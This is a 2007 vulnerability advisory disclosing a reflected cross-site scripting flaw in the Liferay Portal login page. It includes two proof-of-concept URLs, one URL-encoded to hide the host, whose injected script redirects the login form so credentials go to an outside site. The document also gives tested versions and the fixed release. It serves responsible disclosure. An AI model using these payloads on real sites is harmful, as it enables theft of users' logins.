Date Found: 6th March 2007=0D
=0D
Vendor informed: 26th June 2007=0D
=0D
Description:=0D
=0D
Liferay Portal login page is vulnerable to =0D
Cross-Site Scripting within the "login" field processed by the "/c/portal/login" server-side script.=0D
=0D
Consequences:=0D
=0D
An attacker may be able to cause the execution of malicious script code in the browser of a user who visits a specially-crafted Liferay Portal URL, or visits a page that submits a request to such URL. Such code would run within the security context of the target domain. =0D
=0D
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: usernames and passwords) to unauthorised third parties.=0D
=0D
Proof of concept (PoC):=0D
=0D
The provided XSS PoC URLs overwrite Liferay Portal login form's 'action' attribute. Thus, when the victim user clicks on the "Sign In" button, the credentials (username/password) are sent to a third-party site (procheckup.com in this case).=0D
=0D
http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://procheckup.com%22%3C/script%3E%3Ca%20b=%22c=0D 
http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http%3a%2f%2f%70roch%65cku%70%2e%63om%22%3C/script%3E%3Ca%20b=%22c=0D 
=0D
Injected payload:=0D
=0D
"> b="c=0D 
=0D
What's (partially) returned by the server:=0D
=0D
value=""> b="c">=0D 
=0D
Note: the victim user does not need to be authenticated for this vulnerability to be exploitable.=0D
=0D
Successfully tested on:=0D
=0D
Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August 14, 2006)=0D
=0D
(other versions of Liferay Portal might also be affected)=0D
=0D
Severity: Medium/High=0D
=0D
Author: Adrian Pastor [adrian.pastor [at] procheckup.com] from ProCheckUp Ltd (www.procheckup.com)=0D 
=0D
ProCheckUp thanks Liferay for fixing this vulnerability so promptly.=0D
=0D
References:=0D
=0D
http://www.liferay.com/=0D 
=0D
http://www.procheckup.com/Vulnerability_2007.php=0D 
=0D
Fix:=0D
=0D
The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1.=0D
=0D
This issue has been fixed on version 4.1.3 and onwards.